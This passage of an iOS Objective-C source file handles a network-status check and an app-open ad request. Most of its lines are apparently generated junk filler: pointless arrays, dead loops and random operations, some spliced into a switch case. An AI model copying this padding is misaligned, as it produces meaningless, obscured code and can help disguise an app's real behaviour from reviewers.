          char time_47n[] = {(char)-20,(char)-12,25,(char)-103,(char)-105,(char)-100,72,76};
          NSDictionary * layT = [NSDictionary dictionaryWithObjectsAndKeys:@"J",@"u", @"8",@"R", @"2",@"i", nil];
         u_titleE *= sizV * 3;
         register_5f[5] &= 2;
         buttonW[3] /= MAX(buttonW[3] / (MAX(3, 4)), 5);
         btn6[2] /= MAX(layT.allValues.count - buttonW[0], 5);
         long try_1qE = sizeof(btn6) / sizeof(btn6[0]);
         time_47n[5] |= try_1qE;
         break;
      }
         eedbackQ <<= MIN(3, labs(1 ^ acrossW.count));
         eedbackQ >>= MIN(labs(2 - yesJ.length), 5);
      if (![yesJ containsString:@(sizV).stringValue]) {
         eedbackQ *= yesJ.length | 1;
      }
      while (eedbackQ < 2) {
         u_titleE += yesJ.length ^ 1;
         break;
      }
      progm ^= (int)editm | 2;
      break;
   }

    dispatch_async(dispatch_get_main_queue(), ^{
        [self changeToMainController];
    });
       unsigned char eedback5[] = {210,70,14,168,27,239,163,77,242};
      do {
         int return_1yj = sizeof(eedback5) / sizeof(eedback5[0]);
         eedback5[7] >>= MIN(4, labs(return_1yj - 2));
         if (progm == 1627121) {
            break;
         }
      } while ((progm == 1627121) && (2 <= (1 * eedback5[3]) || (eedback5[2] * 1) <= 2));
         NSInteger xinfoI = sizeof(eedback5) / sizeof(eedback5[0]);
         NSInteger xinfoZ = sizeof(eedback5) / sizeof(eedback5[0]);
         eedback5[1] %= MAX(xinfoI % (MAX(xinfoZ, 10)), 1);
         NSInteger across_ = sizeof(eedback5) / sizeof(eedback5[0]);
         eedback5[8] <<= MIN(1, labs((3 + across_) - eedback5[6]));
      progm -= eedback5[2];
}

#pragma mark - 网络变化通知方法

- (void)checkNetworkStatus {
       char infoV[] = {29,93,(char)-87,88,19};
    BOOL url5 = YES;
    char timerR[] = {100,(char)-80,(char)-74,122};
   do {
       unsigned char type_nfx[] = {75,182,164,14,143,202,248,113,32,61,129,190};
       double navs = 1.0f;
       float requestw = 0.0f;
       char bannej[] = {78,24,(char)-42,(char)-109,(char)-76,120,79,(char)-102};
       NSDictionary * info9 = [NSDictionary dictionaryWithObjectsAndKeys:@"subcc",@(877).stringValue, @"named",@(990).stringValue, nil];
         type_nfx[11] -= (int)navs | (int)requestw;
      while (![info9.allKeys containsObject:@(requestw)]) {
          unsigned char delegate_dE[] = {102,244,88,161,136,144,7};
          double reqN = 3.0f;
          NSDictionary * rewardg = [NSDictionary dictionaryWithObjectsAndKeys:@"pseudo",@(415).stringValue, @"conceal",@(85), @"angle",@(437).stringValue, nil];
          unsigned char type_c1T[] = {254,62,20};
          long loginI = 0;
         loginI /= MAX(1, info9.count ^ 1);
         delegate_dE[5] -= 1 + (int)reqN;
         reqN /= MAX(3, 2);
         reqN -= 3 + rewardg.count;
         type_c1T[1] >>= MIN(5, labs(delegate_dE[2]));
         NSInteger requestQ = sizeof(type_c1T) / sizeof(type_c1T[0]);
         loginI %= MAX(requestQ << (MIN(labs(3), 1)), 3);
         reqN /= MAX(4, rewardg.count);
         break;
      }
         navs *= info9.count;
      while ((5 - requestw) == 3) {
          NSString * login7 = @"syncpoint";
          float btnR = 4.0f;
          float adrsV = 3.0f;
         requestw -= (int)navs << (MIN(labs(2), 1));
         adrsV += login7.length;
         btnR += ([login7 isEqualToString: [NSString stringWithUTF8String:(char []){118,0}]] ? login7.length : (int)btnR);
         adrsV -= (int)btnR << (MIN(5, labs((int)adrsV)));
         break;
      }
      do {
         requestw *= (int)requestw / 1;
         if (requestw == 2593803.f) {
            break;
         }
      } while ((5.62f >= (requestw + 4.28f)) && (requestw == 2593803.f));
         requestw *= (int)navs & 2;
      if ((type_nfx[11] / 1) < 2 && (1 - navs) < 3) {
          NSArray * unews_ = [NSArray arrayWithObjects:@(174), @(739), @(740), nil];
          BOOL g_center2 = YES;
          BOOL return_5e4 = YES;
          NSString * biceG = @"capture";
         navs -= ((return_5e4 ? 5 : 5));
         g_center2 = 3 | unews_.count;
         g_center2 = (((g_center2 ? biceG.length : 31) + biceG.length) >= 31);
         return_5e4 = g_center2;
         g_center2 = unews_.count % (MAX(1, 7));
      }
      for (int s = 0; s < 1; s++) {
         navs /= MAX((int)navs * 1, 3);
      }
         long register_yS = sizeof(bannej) / sizeof(bannej[0]);
         bannej[2] >>= MIN(5, labs(register_yS / (MAX(4, info9.allKeys.count))));
         requestw *= 3 - info9.count;
      while (3 <= requestw) {
         bannej[2] *= bannej[2];
         break;
      }
      if ((5 * bannej[7]) >= 4 && (5 | bannej[7]) >= 5) {
         bannej[5] *= (int)navs;
      }
      while ((type_nfx[9] / (MAX(2, 1))) <= 3 && 4 <= (type_nfx[9] / 2)) {
         int adrs8 = sizeof(bannej) / sizeof(bannej[0]);
         int sizk = sizeof(type_nfx) / sizeof(type_nfx[0]);
         type_nfx[1] *= sizk >> (MIN(3, labs(adrs8)));
         break;
      }
         type_nfx[6] &= 1;
      if (5 <= (5 >> (MIN(2, labs(bannej[7])))) || (bannej[7] >> (MIN(labs(5), 3))) <= 1) {
         requestw -= 1 * info9.count;
      }
      infoV[3] %= MAX(info9.count >> (MIN(labs(infoV[1]), 4)), 3);
      if (url5 ? !url5 : url5) {
         break;
      }
   } while ((url5 ? !url5 : url5) && ((5 << (MIN(1, labs(timerR[0])))) <= 2 && (infoV[4] << (MIN(labs(timerR[0]), 2))) <= 5));
   while (infoV[0] == 3 || url5) {
      url5 = !url5 || (13 ^ timerR[1]) >= 57;
      break;
   }

    AppDelegate *delegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
    switch ([delegate.reach_ability currentReachabilityStatus]) {
        case NotReachable:
        {
            NSLog(  @"网络状态（网络不可用）");
        }
            break;
        default:
        {
            [self getNewAdrs];
      url5 = 1 <= timerR[2] && 1 <= infoV[1];
   if (infoV[1] == 3) {
      infoV[0] /= MAX(2, ((url5 ? 2 : 1)));
   }
            [self requestAppOpenAd];
        }
            break;
   do {
      long layg = sizeof(infoV) / sizeof(infoV[0]);
      timerR[3] |= 2 >> (MIN(5, labs(layg)));
      if (url5 ? !url5 : url5) {
         break;
      }
   } while ((url5 ? !url5 : url5) && (!url5 && timerR[1] < 1));
   for (int y = 0; y < 1; y++) {
       NSDictionary * realz = @{@"last":@(8443)};
       float screenr = 4.0f;
       unsigned char z_view1[] = {68,111,192,212,49,54,195};
       NSArray * time_qjI = [NSArray arrayWithObjects:@(328), @(22), nil];
         screenr -= realz.count;
      do {
         screenr /= MAX(time_qjI.count, 2);
         if (time_qjI.count == 2893952) {
            break;
         }
      } while (((time_qjI.count + 1) > 2) && (time_qjI.count == 2893952));
         screenr *= realz.count;
      while (![time_qjI containsObject:@(screenr)]) {
         screenr -= time_qjI.count;
         break;
      }
      if (![time_qjI containsObject:@(screenr)]) {
          long return__e = 3;
          double progQ = 2.0f;
         screenr -= (int)progQ % 1;
         return__e &= 3;
         progQ *= 3 | return__e;
      }
      for (int z = 0; z < 1; z++) {
         screenr *= realz.count;
      }
         screenr -= realz.count * 3;
      if (3 < z_view1[6]) {
         z_view1[1] += 2;
      }
         screenr /= MAX(3, time_qjI.count);
      if (3 <= (z_view1[6] | 4) || 4 <= (screenr / (MAX(z_view1[6], 8)))) {
         screenr /= MAX(3, 4);
      }
         z_view1[0] <<= MIN(5, labs(3));
         long numberT = sizeof(z_view1) / sizeof(z_view1[0]);
         z_view1[1] -= 3 / (MAX(2, numberT));
      timerR[2] &= (int)screenr;
   }
    }
}

@end
